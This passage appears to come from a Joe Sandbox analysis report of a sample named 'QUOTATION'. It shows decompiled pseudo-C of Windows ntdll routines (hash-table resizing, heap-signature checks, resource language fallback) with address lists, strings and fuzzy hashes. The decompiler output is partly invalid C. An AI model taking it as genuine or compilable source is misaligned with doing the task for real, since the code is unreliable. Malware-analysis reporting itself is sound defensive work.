															L52:
															_t253 = _t377;
															_t68 = _t253 + 0x28; // 0x8b0a74f6
															_t69 = _t253 + 4; // 0x8bf8558b
															_t378 =  *_t69;
															_t70 = _t253 + 0x20; // 0x8bb372c7
															_t365 =  *_t70;
															_v28 =  *_t68;
															_t72 = _t253 + 0x24; // 0x85f633fe
															_v40 =  *_t72;
															_t173 = _t378 >> 5;
															if( *_t253 < _t173 + _t173) {
																L73:
																_t380 = _v16;
																_t364 = _t380;
																_t176 = (_t173 | 0xffffffff) << (_t378 & 0x0000001f) &  *(_t380 + 4);
																_v40 = _t176;
																_v28 = _t176;
																_t343 = (_t378 >> 0x00000005) - 0x00000001 & ((((_t176 & 0x000000ff) + 0x00b15dcb) * 0x00000025 + (_v40 & 0x000000ff)) * 0x00000025 + (_v26 & 0x000000ff)) * 0x00000025 + (_v25 & 0x000000ff);
																_t136 = _t253 + 8; // 0xc183f44d
																_t283 =  *_t136;
																 *_t380 =  *(_t283 + _t343 * 4);
																 *(_t283 + _t343 * 4) = _t380;
																 *_t253 =  *_t253 + 1;
																_t381 = 0;
																L74:
																_t141 = _t253 + 0x1c; // 0x337fabd2
																E337324D0(_t141);
																if(_t381 != 0) {
																	_t142 = _t253 + 0x28; // 0x8b0a74f6
																	_t143 = _t253 + 0x24; // 0x85f633fe
																	 *0x338191e0(_t381,  *_t142);
																	 *((intOrPtr*)( *_t143))();
																}
																L76:
																return _t364;
															}
															_t285 = 2;
															_t173 = E33754CF8( &_v24, _t173 * _t285, _t173 * _t285 >> 0x20);
															if(_t173 < 0) {
																goto L73;
															}
															_t383 = _v24;
															if(_t383 < 4) {
																_t383 = 4;
															}
															 *0x338191e0(_t383 << 2, _v28);
															_t173 =  *_t365();
															_t345 = _t173;
															_v12 = _t345;
															if(_t345 == 0) {
																_t144 = _t253 + 4; // 0x8bf8558b
																_t378 =  *_t144;
																if(_t378 >= 0x20) {
																	goto L73;
																}
																_t381 = _v16;
																_t364 = 0;
																goto L74;
															} else {
																_t83 = _t383 - 1; // 0x3
																_t288 = _t83;
																if((_t383 & _t288) == 0) {
																	L61:
																	if(_t383 > 0x4000000) {
																		_t383 = 0x4000000;
																	}
																	_t366 = _t345;
																	_v24 = _v24 & 0x00000000;
																	_t195 = _t253 | 0x00000001;
																	asm("sbb ecx, ecx");
																	_t292 =  !( &(_v12[_t383])) & _t383 << 0x00000002 >> 0x00000002;
																	if(_t292 <= 0) {
																		L66:
																		_t92 = _t253 + 4; // 0x8bf8558b
																		_t367 = 0;
																		_v32 = (_t195 | 0xffffffff) << ( *_t92 & 0x0000001f);
																		if(( *(_t253 + 4) & 0xffffffe0) <= 0) {
																			L71:
																			_t121 = _t253 + 8; // 0xc183f44d
																			_t295 =  *_t121;
																			 *((intOrPtr*)(_t253 + 8)) = _v12;
																			_t124 = _t253 + 4; // 0x8bf8558b
																			_t173 =  *_t124 & 0x0000001f;
																			_t378 = _t383 << 0x00000005 | _t173;
																			 *(_t253 + 4) = _t378;
																			if(_t295 != 0) {
																				 *0x338191e0(_t295, _v28);
																				_t173 =  *_v40();
																				_t128 = _t253 + 4; // 0x8bf8558b
																				_t378 =  *_t128;
																			}
																			goto L73;
																		} else {
																			goto L67;
																		}
																		do {
																			L67:
																			_t97 = _t253 + 8; // 0xc183f44d
																			_t349 =  *_t97;
																			_v36 = _t349;
																			while(1) {
																				_t297 =  *(_t349 + _t367 * 4);
																				_v20 = _t297;
																				if((_t297 & 0x00000001) != 0) {
																					goto L70;
																				}
																				 *(_t349 + _t367 * 4) =  *_t297;
																				_t351 =  *(_t297 + 4) & _v32;
																				_t254 = _v20;
																				_v24 = _t351;
																				_t353 = _t383 - 0x00000001 & ((((_t351 & 0x000000ff) + 0x00b15dcb) * 0x00000025 + (_t351 & 0x000000ff)) * 0x00000025 + (_v22 & 0x000000ff)) * 0x00000025 + (_v21 & 0x000000ff);
																				_t304 = _v12;
																				 *_t254 =  *((intOrPtr*)(_t304 + _t353 * 4));
																				 *((intOrPtr*)(_t304 + _t353 * 4)) = _t254;
																				_t349 = _v36;
																			}
																			L70:
																			_t253 = _v8;
																			_t367 = _t367 + 1;
																			_t120 = _t253 + 4; // 0x8bf8558b
																		} while (_t367 <  *_t120 >> 5);
																		goto L71;
																	} else {
																		_t354 = _v24;
																		do {
																			_t354 = _t354 + 1;
																			 *_t366 = _t195;
																			_t366 = _t366 + 4;
																		} while (_t354 < _t292);
																		goto L66;
																	}
																}
																_t305 = _t288 | 0xffffffff;
																if(_t383 == 0) {
																	L60:
																	_t383 = 1 << _t305;
																	goto L61;
																} else {
																	goto L59;
																}
																do {
																	L59:
																	_t305 = _t305 + 1;
																	_t383 = _t383 >> 1;
																} while (_t383 != 0);
																goto L60;
															}
														}
														goto L46;
													}
												}
												_t364 = 0;
												goto L45;
											}
											_t355 = _t338 >> 5;
											if(_t355 == 0) {
												_t364 = 0;
												L49:
												if(_t364 == 0) {
													goto L52;
												}
												_t66 = _t364 + 8; // 0x8
												_t211 = E337FAC6F(_t66);
												_t253 = _t377;
												_t381 = _v16;
												if(_t211 == 0) {
													_t364 = 0;
												}
												goto L74;
											}
											_t56 = _t355 - 1; // 0x8bf8558a
											_t57 = _t377 + 8; // 0xc183f44d
											_t364 =  *_t57 + (_t56 & (_v21 & 0x000000ff) + 0x164b2f3f + (((_t274 & 0x000000ff) * 0x00000025 + (_v20 & 0x000000ff)) * 0x00000025 + (_v22 & 0x000000ff)) * 0x00000025) * 4;
											_t274 = _v20;
											goto L40;
											L46:
											_t167 = E337FACB2(_t364, _v12);
										} while (_t167 == 0);
										goto L49;
									}
									_t364 = 0;
									goto L76;
								}
								_t31 = _t362 + 8; // 0x8
								_t314 = _t31;
								if(E337FAC6F(_t31) == 0) {
									_t364 = 0;
								}
								E337252F0(_t314, _v24);
								goto L76;
							}
							_t21 = _t356 - 1; // 0x8bf8558a
							_t22 = _t375 + 8; // 0xc183f44d
							_t362 =  *_t22 + (_t21 & (_v13 & 0x000000ff) + 0x164b2f3f + (((_t267 & 0x000000ff) * 0x00000025 + (_v20 & 0x000000ff)) * 0x00000025 + (_v14 & 0x000000ff)) * 0x00000025) * 4;
							_t267 = _v20;
							L21:
							_t336 = _v28;
							while(1) {
								_t362 =  *_t362;
								if((_t362 & 0x00000001) != 0) {
									break;
								}
								if(_t267 == ( *(_t362 + 4) & _t336)) {
									L26:
									if(_t362 == 0) {
										goto L34;
									}
									_t149 = E337FACB2(_t362, _v12);
									if(_t149 != 0) {
										goto L30;
									}
									goto L18;
								}
							}
							_t362 = 0;
							goto L26;
						}
					}
					_t368 = _t361 - 1;
					if(_t368 == 0) {
						L15:
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						_t374 =  &(_t374[1]);
						goto L16;
					}
					_t369 = _t368 - 1;
					if(_t369 == 0) {
						L14:
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						_t374 =  &(_t374[1]);
						goto L15;
					}
					_t370 = _t369 - 1;
					if(_t370 == 0) {
						L13:
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						_t374 =  &(_t374[1]);
						goto L14;
					}
					_t371 = _t370 - 1;
					if(_t371 == 0) {
						L12:
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						_t374 =  &(_t374[1]);
						goto L13;
					}
					_t372 = _t371 - 1;
					if(_t372 == 0) {
						L11:
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						_t374 =  &(_t374[1]);
						goto L12;
					}
					if(_t372 != 1) {
						goto L17;
					} else {
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						_t374 =  &(_t374[1]);
						goto L11;
					}
				} else {
					_t358 = _t360 >> 3;
					_t360 = _t360 + _t358 * 0xfffffff8;
					do {
						_t333 = ((((((_t374[1] & 0x000000ff) * 0x25 + (_t374[2] & 0x000000ff)) * 0x25 + (_t374[3] & 0x000000ff)) * 0x25 + (_t374[4] & 0x000000ff)) * 0x25 + (_t374[5] & 0x000000ff)) * 0x25 + (_t374[6] & 0x000000ff)) * 0x25 - _t251 * 0x2fe8ed1f;
						_t261 = ( *_t374 & 0x000000ff) * 0x1a617d0d;
						_t250 = _t374[7] & 0x000000ff;
						_t374 =  &(_t374[8]);
						_t251 = _t261 + _t333 + _t250;
						_t358 = _t358 - 1;
					} while (_t358 != 0);
					goto L3;
				}
			}

0x337facf4
0x337facf6
0x337facfb
0x337facfe
0x337fad05
0x337fad05
0x337fad08
0x337fad0e
0x337fad6f
0x337fad6f
0x337fad72
0x337fadc8
0x337fadce
0x337fadd0
0x337fadd0
0x337fadd3
0x337fadd7
0x337fadda
0x337faddf
0x337fade1
0x337fade1
0x337fade1
0x337fade1
0x337fadec
0x337fadf0
0x337fadf2
0x337fadf5
0x337fadf8
0x337fadfd
0x00000000
0x00000000
0x337fadff
0x337fae04
0x337fae69
0x337fae6b
0x337fae6d
0x337fae8b
0x337fae8b
0x337fae8f
0x337fae97
0x337fae9a
0x337faea9
0x337faeb1
0x337faeb3
0x337faeb8
0x337faec8
0x337faec9
0x337faeca
0x337faed6
0x337faedb
0x337faede
0x337faeea
0x337faef9
0x337faefe
0x337faf01
0x337faf03
0x337faf03
0x337faf03
0x337faf0e
0x337faf12
0x337faf15
0x337faf17
0x337faf1a
0x337faf1f
0x337faf5b
0x337faf5b
0x337faf5e
0x337faf5e
0x337faf66
0x00000000
0x00000000
0x337faf6f
0x337faf75
0x337faf77
0x337fafae
0x337fafae
0x337fafb0
0x337fafb3
0x337fafb3
0x337fafb6
0x337fafb6
0x337fafb9
0x337fafbc
0x337fafbf
0x337fafc4
0x337fafcc
0x337fb11b
0x337fb128
0x337fb12d
0x337fb12f
0x337fb132
0x337fb135
0x337fb15e
0x337fb160
0x337fb160
0x337fb166
0x337fb168
0x337fb16b
0x337fb16d
0x337fb16f
0x337fb16f
0x337fb173
0x337fb17a
0x337fb17c
0x337fb180
0x337fb185
0x337fb18b
0x337fb18b
0x337fb18d
0x337fb193
0x337fb193
0x337fafd4
0x337fafdc
0x337fafe3
0x00000000
0x00000000
0x337fafe9
0x337fafef
0x337faff3
0x337faff3
0x337fafff
0x337fb005
0x337fb007
0x337fb009
0x337fb00e
0x337fb194
0x337fb194
0x337fb19a
0x00000000
0x00000000
0x337fb1a0
0x337fb1a3
0x00000000
0x337fb014
0x337fb014
0x337fb014
0x337fb019
0x337fb02c
0x337fb033
0x337fb035
0x337fb035
0x337fb03a
0x337fb03c
0x337fb049
0x337fb052
0x337fb056
0x337fb058
0x337fb067
0x337fb067
0x337fb070
0x337fb07b
0x337fb07e
0x337fb0ec
0x337fb0ec
0x337fb0ec
0x337fb0f2
0x337fb0f5
0x337fb0fb
0x337fb0fe
0x337fb100
0x337fb105
0x337fb110
0x337fb116
0x337fb118
0x337fb118
0x337fb118
0x00000000
0x00000000
0x00000000
0x00000000
0x337fb080
0x337fb080
0x337fb080
0x337fb080
0x337fb083
0x337fb086
0x337fb086
0x337fb089
0x337fb092
0x00000000
0x00000000
0x337fb096
0x337fb09c
0x337fb0a7
0x337fb0b0
0x337fb0ca
0x337fb0cc
0x337fb0d2
0x337fb0d6
0x337fb0d9
0x337fb0d9
0x337fb0de
0x337fb0de
0x337fb0e1
0x337fb0e2
0x337fb0e8
0x00000000
0x337fb05a
0x337fb05a
0x337fb05d
0x337fb05d
0x337fb05e
0x337fb060
0x337fb063
0x00000000
0x337fb05d
0x337fb058
0x337fb01b
0x337fb020
0x337fb027
0x337fb02a
0x00000000
0x00000000
0x00000000
0x00000000
0x337fb022
0x337fb022
0x337fb022
0x337fb023
0x337fb023
0x00000000
0x337fb022
0x337fb00e
0x00000000
0x337faf77
0x337faf71
0x337faf73
0x00000000
0x337faf73
0x337faf21
0x337faf26
0x337faf8c
0x337faf8e
0x337faf90
0x00000000
0x00000000
0x337faf92
0x337faf95
0x337faf9a
0x337faf9c
0x337fafa1
0x337fafa7
0x337fafa7
0x00000000
0x337fafa1
0x337faf4d
0x337faf52
0x337faf55
0x337faf58
0x00000000
0x337faf79
0x337faf7d
0x337faf82
0x00000000
0x337faf8a
0x337faeba
0x00000000
0x337faeba
0x337fae6f
0x337fae6f
0x337fae79
0x337fae7b
0x337fae7b
0x337fae81
0x00000000
0x337fae81
0x337fae2b
0x337fae30
0x337fae33
0x337fae36
0x337fae39
0x337fae39
0x337fae3c
0x337fae3c
0x337fae44
0x00000000
0x00000000
0x337fae4d
0x337fae53
0x337fae55
0x00000000
0x00000000
0x337fae5b
0x337fae62
0x00000000
0x00000000
0x00000000
0x337fae64
0x337fae4f
0x337fae51
0x00000000
0x337fae51
0x337fade1
0x337fad74
0x337fad77
0x337fadbf
0x337fadc5
0x337fadc7
0x00000000
0x337fadc7
0x337fad79
0x337fad7c
0x337fadb6
0x337fadbc
0x337fadbe
0x00000000
0x337fadbe
0x337fad7e
0x337fad81
0x337fadad
0x337fadb3
0x337fadb5
0x00000000
0x337fadb5
0x337fad83
0x337fad86
0x337fada4
0x337fadaa
0x337fadac
0x00000000
0x337fadac
0x337fad88
0x337fad8b
0x337fad9b
0x337fada1
0x337fada3
0x00000000
0x337fada3
0x337fad90
0x00000000
0x337fad92
0x337fad98
0x337fad9a
0x00000000
0x337fad9a
0x337fad10
0x337fad12
0x337fad18
0x337fad1a
0x337fad54
0x337fad59
0x337fad5f
0x337fad63
0x337fad68
0x337fad6a
0x337fad6a
0x00000000
0x337fad1a

APIs

RtlDebugPrintTimes.NTDLL ref: 337FAEA9
RtlDebugPrintTimes.NTDLL ref: 337FB185

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: d1689f3a1eadd10cabe6ef8868adf87494f08dd3d1bf293bd3e13df1c33bd80e
Instruction ID: 4e9f9d4df15d01c00ff5bb71ebcc19daceff0b384c5cb9979cd650807c751687
Opcode Fuzzy Hash: d1689f3a1eadd10cabe6ef8868adf87494f08dd3d1bf293bd3e13df1c33bd80e
Instruction Fuzzy Hash: F7F10576E006159FCB48CF68C8A467EFBF6BF88250B19416DD496EF380D635EA41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 33717662 Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E33717662(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E3371B910();
					} else {
						E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E3371B910("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E3371B910(", passed to %s", _t29);
					}
					_push("\n");
					E3371B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x338147a1 = 1;
						asm("int3");
						 *0x338147a1 = 0;
					}
					return 0;
				}
				return 1;
			}

0x33717667
0x33717669
0x33717672
0x3377ad93
0x3377adb2
0x3377adb7
0x3377ad95
0x3377adaa
0x3377adaf
0x3377adc3
0x3377adcc
0x3377add4
0x3377adda
0x3377addb
0x3377ade0
0x3377adf0
0x3377adf2
0x3377adf9
0x3377adfa
0x3377adfa
0x00000000
0x3377ae01
0x00000000

Strings

Invalid heap signature for heap at %p, xrefs: 3377ADBE
, passed to %s, xrefs: 3377ADCF
HEAP: , xrefs: 3377ADB2
HEAP[%wZ]: , xrefs: 3377ADA5
RtlFreeHeap, xrefs: 3377ADCE

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: 74a24d330da27179750b5361da5c56297b17ad0aa32dc6353028874dd0a7247d
Instruction ID: 46c0dd22c63df210a118c0f2a5417ed649395a099d73903786fa4927e3579eaa
Opcode Fuzzy Hash: 74a24d330da27179750b5361da5c56297b17ad0aa32dc6353028874dd0a7247d
Instruction Fuzzy Hash: B3014737A16780EFF3059328E40DF967BA4DF86770F28449AF0005FA92CBA6D861D560

Uniqueness

Uniqueness Score: -1.00%

Function 3372A2E0 Relevance: 5.3, Strings: 4, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E3372A2E0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				char _v20;
				char* _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v81;
				signed int _v84;
				void* _v88;
				void* _v89;
				signed short _v92;
				char _v93;
				void* _v100;
				void* _v101;
				intOrPtr* _t122;
				signed char* _t123;
				signed char* _t125;
				intOrPtr* _t128;
				signed char* _t129;
				signed char* _t131;
				intOrPtr _t133;
				signed int _t139;
				signed short* _t159;
				intOrPtr _t163;
				signed int _t178;
				signed int _t183;

				_t122 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				_v48 = __edx;
				_v52 = __ecx;
				_v64 = 0;
				_v28 = 0x3a0038;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = 0x380036;
				_v16 = L"LdrResFallbackLangList Exit";
				if(_t122 != 0) {
					if( *_t122 == 0) {
						goto L1;
					}
					_t123 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					L2:
					if(( *_t123 & 0x00000001) != 0) {
						if(E33733C40() == 0) {
							_t125 = 0x7ffe0384;
						} else {
							_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E337AFC01( &_v28,  *_t125 & 0x000000ff);
					}
					_t159 = _a12;
					if(_t159 == 0) {
						_t163 = 0xc000000d;
						_v68 = 0xc000000d;
						goto L35;
					} else {
						_t183 = 0;
						 *_t159 = 0;
						_t159[0x102] = 0;
						_v60 = 0;
						_v68 = 0;
						_v81 = 0;
						_v56 = 0;
						while(1) {
							L5:
							_v72 = 0;
							while(1) {
								L6:
								_t139 = _t183;
								_t178 = _t183;
								_t183 = _t183 + 1;
								if(_t139 > 7) {
									break;
								}
								switch( *((intOrPtr*)(_t139 * 4 +  &M3372A60C))) {
									case 0:
										__ax = _a4;
										_v64 = 1;
										goto L14;
									case 1:
										if((_a8 & 0x00000004) != 0) {
											 *((char*)(__ebx + 0x204)) = 1;
											goto L34;
										}
										if((_a4 & 0x000003ff) != 0) {
											__edx =  &_v76;
											 *((char*)(__ebx + 0x204)) = 1;
											if(E337188C8(__ecx, __edx) < 0) {
												goto L34;
											}
											__ax = _v76;
											_v72 = __ax;
											__eax = _v72;
											if(__ax != 0) {
												__esi = __edi;
											} else {
												__esi = __esi | 0xffffffff;
											}
											L30:
											_v64 = 2;
											goto L15;
										}
										__eax = 0xeeee;
										_v72 = 0xeeee;
										goto L30;
									case 2:
										_v80 = 0;
										if(E3372A630() == 0) {
											goto L24;
										}
										_t166 = _v60;
										if(_v60 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
											goto L24;
										}
										E3372A750( *( *[fs:0x18] + 0xfc0), _t166,  &_v80,  &_v81);
										_t149 = _v92 & 0x0000ffff;
										_v84 = _t149;
										if(_t149 == 0) {
											goto L24;
										}
										if(_v81 != 0) {
											if((_a8 & 0x00100000) != 0) {
												_v72 = 0xeeee;
												_t149 = _v72;
											}
										}
										_v60 = _v60 + 1;
										_t183 = _t178;
										_v64 = 3;
										goto L15;
									case 3:
										__eax = _v52;
										if(__eax == 0) {
											L24:
											_v72 = 0xeeee;
											goto L6;
										}
										__edx = _v48;
										 &_v36 =  &_v44;
										__ecx = __eax;
										__eax = E3372A1E3(__ecx, __edx,  &_v44,  &_v36, _a8);
										if(__eax >= 0) {
											 &_v12 = E33765050(__ecx,  &_v12, _v44);
											 &_v48 =  &_v20;
											__eax = E337456E0( &_v20,  &_v48);
											if(__al == 0) {
												_v68 = 0xc00b0005;
												goto L24;
											}
											__ax =  *((intOrPtr*)(__esp + 0x3c));
											_v72 = __eax;
											_v80 = __ax;
											if((_a8 & 0x00100000) != 0) {
												__edx =  *[fs:0x18];
												 &_v81 =  &_v80;
												__edx =  *( *[fs:0x18] + 0xfc0);
												__eax = E3372A750(__edx, 0,  &_v80,  &_v81);
												if(_v93 == 0) {
													__ax = _v80;
													_v72 = __eax;
												} else {
													__eax = 0xeeee;
													_v72 = __ax;
												}
											}
											__eax = _v36;
											__al = __al & 0x00000001;
											__al & 0x000000ff =  ~(__al & 0x000000ff);
											asm("sbb eax, eax");
											 ~(__al & 0x000000ff) & 0x00000006 = ( ~(__al & 0x000000ff) & 0x00000006) + 4;
											_v64 = ( ~(__al & 0x000000ff) & 0x00000006) + 4;
											__eax = _v72;
											goto L15;
										}
										goto L24;
									case 4:
										__eax = 0xeeee;
										_v80 = __ax;
										__eax = _a8;
										__eax =  !_a8;
										if((__eax & 0x00080000) != 0) {
											goto L34;
										}
										if( *[fs:0x18] == 0) {
											__ax = _v80;
											goto L5;
										}
										__eax =  *[fs:0x18];
										__ax =  *((intOrPtr*)(__eax + 0xc4));
										goto L14;
									case 5:
										__eax = 0xeeee;
										_v72 = __ax;
										__eax =  &_v56;
										_push( &_v56);
										_push(1);
										__eax = E33762AE0();
										_v76 = __eax;
										if(__eax < 0) {
											goto L6;
										}
										__ax = _v56;
										goto L14;
									case 6:
										__eax = 0xeeee;
										_v72 = __ax;
										__eax =  &_v32;
										_push( &_v32);
										_push(0);
										__eax = E33762AE0();
										_v76 = __eax;
										if(__eax < 0) {
											goto L6;
										}
										__eax = _v32;
										if(__eax == _v56) {
											goto L6;
										}
										L14:
										_v72 = __eax;
										L15:
										if(_t149 == 0xeeee) {
											goto L6;
										}
										goto L16;
									case 7:
										__eax = 0x409;
										_v72 = __ax;
										L16:
										_t179 =  *_t159 & 0x0000ffff;
										_t168 = 0;
										_t175 = _t179;
										if(_t175 == 0) {
											L20:
											if(_t179 >= 0x40) {
												goto L34;
											}
											 *((short*)(_t159 + 4 + _t175 * 8)) = _v72;
											 *(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8) = _v64;
											 *_t159 =  *_t159 + 1;
											goto L6;
										} else {
											_t152 =  &(_t159[2]);
											while(1) {
												_t179 =  *_t159 & 0x0000ffff;
												if( *_t152 == _v72) {
													break;
												}
												_t168 = _t168 + 1;
												_t152 =  &(_t152[4]);
												if(_t168 < _t175) {
													continue;
												}
												goto L20;
											}
											if(_t168 < _t175) {
												goto L6;
											}
											goto L20;
										}
								}
							}
							L34:
							_t163 = _v68;
							L35:
							_t128 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
							if(_t128 != 0) {
								if( *_t128 == 0) {
									goto L36;
								}
								_t129 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								L37:
								if(( *_t129 & 0x00000001) != 0) {
									if(E33733C40() == 0) {
										_t131 = 0x7ffe0384;
									} else {
										_t131 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
									}
									E337AFC01( &_v20,  *_t131 & 0x000000ff);
									_t133 = _v68;
								} else {
									_t133 = _t163;
								}
								return _t133;
							}
							L36:
							_t129 = 0x7ffe0385;
							goto L37;
						}
					}
				}
				L1:
				_t123 = 0x7ffe0385;
				goto L2;
			}

0x3372a2f4
0x3372a2f7
0x3372a2fb
0x3372a2ff
0x3372a307
0x3372a30f
0x3372a317
0x3372a31f
0x3372a329
0x337829f7
0x00000000
0x00000000
0x33782a06
0x3372a334
0x3372a337
0x33782a17
0x33782a29
0x33782a19
0x33782a22
0x33782a22
0x33782a35
0x33782a35
0x3372a33d
0x3372a342
0x33782a3f
0x33782a44
0x00000000
0x3372a348
0x3372a34a
0x3372a34e
0x3372a351
0x3372a357
0x3372a35b
0x3372a35f
0x3372a363
0x3372a367
0x3372a367
0x3372a367
0x3372a370
0x3372a370
0x3372a370
0x3372a372
0x3372a374
0x3372a378
0x00000000
0x00000000
0x3372a37e
0x00000000
0x3372a3ff
0x3372a403
0x00000000
0x00000000
0x3372a4af
0x33782b05
0x00000000
0x33782b05
0x3372a4bc
0x33782a52
0x33782a56
0x33782a64
0x00000000
0x00000000
0x33782a6a
0x33782a6f
0x33782a77
0x33782a7b
0x33782a85
0x33782a7d
0x33782a7d
0x33782a7d
0x3372a4cb
0x3372a4cb
0x00000000
0x3372a4cb
0x3372a4c2
0x3372a4c7
0x00000000
0x00000000
0x3372a387
0x3372a393
0x00000000
0x00000000
0x3372a39f
0x3372a3af
0x00000000
0x00000000
0x3372a3cd
0x3372a3d2
0x3372a3d7
0x3372a3de
0x00000000
0x00000000
0x3372a3e9
0x33782a93
0x33782a9e
0x33782aa3
0x33782aa3
0x33782a93
0x3372a3ef
0x3372a3f3
0x3372a3f5
0x00000000
0x00000000
0x3372a46a
0x3372a470
0x3372a492
0x3372a497
0x00000000
0x3372a497
0x3372a475
0x3372a47e
0x3372a483
0x3372a485
0x3372a48c
0x3372a5b5
0x3372a5bf
0x3372a5c4
0x3372a5cb
0x33782aee
0x00000000
0x33782aee
0x3372a5d8
0x3372a5dd
0x3372a5e1
0x3372a5e6
0x33782aac
0x33782ab8
0x33782abd
0x33782ac5
0x33782acf
0x33782ae0
0x33782ae5
0x33782ad1
0x33782ad1
0x33782ad6
0x33782ad6
0x33782acf
0x3372a5ec
0x3372a5f0
0x3372a5f5
0x3372a5f7
0x3372a5fc
0x3372a5ff
0x3372a603
0x00000000
0x3372a603
0x00000000
0x00000000
0x3372a4d8
0x3372a4dd
0x3372a4e2
0x3372a4e5
0x3372a4ec
0x00000000
0x00000000
0x3372a4f6
0x33782afb
0x00000000
0x33782afb
0x3372a4fc
0x3372a502
0x00000000
0x00000000
0x3372a53c
0x3372a541
0x3372a546
0x3372a54a
0x3372a54b
0x3372a54d
0x3372a552
0x3372a558
0x00000000
0x00000000
0x3372a55e
0x00000000
0x00000000
0x3372a568
0x3372a56d
0x3372a572
0x3372a576
0x3372a577
0x3372a579
0x3372a57e
0x3372a584
0x00000000
0x00000000
0x3372a58a
0x3372a592
0x00000000
0x00000000
0x3372a40b
0x3372a40b
0x3372a40f
0x3372a417
0x00000000
0x00000000
0x00000000
0x00000000
0x3372a59d
0x3372a5a2
0x3372a41d
0x3372a41d
0x3372a420
0x3372a422
0x3372a426
0x3372a444
0x3372a448
0x00000000
0x00000000
0x3372a456
0x3372a45e
0x3372a462
0x00000000
0x3372a428
0x3372a428
0x3372a430
0x3372a437
0x3372a43a
0x00000000
0x00000000
0x3372a43c
0x3372a43d
0x3372a442
0x00000000
0x00000000
0x00000000
0x3372a442
0x3372a4a3
0x00000000
0x00000000
0x00000000
0x3372a4a9
0x00000000
0x3372a37e
0x3372a50e
0x3372a50e
0x3372a512
0x3372a518
0x3372a51d
0x33782b14
0x00000000
0x00000000
0x33782b23
0x3372a528
0x3372a52b
0x33782b34
0x33782b46
0x33782b36
0x33782b3f
0x33782b3f
0x33782b52
0x33782b57
0x3372a531
0x3372a531
0x3372a531
0x3372a539
0x3372a539
0x3372a523
0x3372a523
0x00000000
0x3372a523
0x3372a367
0x3372a342
0x3372a32f
0x3372a32f
0x00000000

Strings

6, xrefs: 3372A317
LdrResFallbackLangList Enter, xrefs: 3372A30F
LdrResFallbackLangList Exit, xrefs: 3372A31F
8, xrefs: 3372A307

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 7353fa3f728abef5f13e5f87902c9465859dd5ddc0ff01de9e829fc5274fc758
Instruction ID: 3523887a375d73d6973fadb86af9cdc1581e6bd1445e20d3b7a758b11bec3516
Opcode Fuzzy Hash: 7353fa3f728abef5f13e5f87902c9465859dd5ddc0ff01de9e829fc5274fc758
Instruction Fuzzy Hash: 4DC187746083828FE351CF19C484B5ABBE5FF89744F04896AF885CF251EB34CA4ADB52

Uniqueness

Uniqueness Score: -1.00%

Function 33758322 Relevance: 5.3, Strings: 4, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E33758322() {
				intOrPtr _v0;
				signed int _v8;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				char _v172;
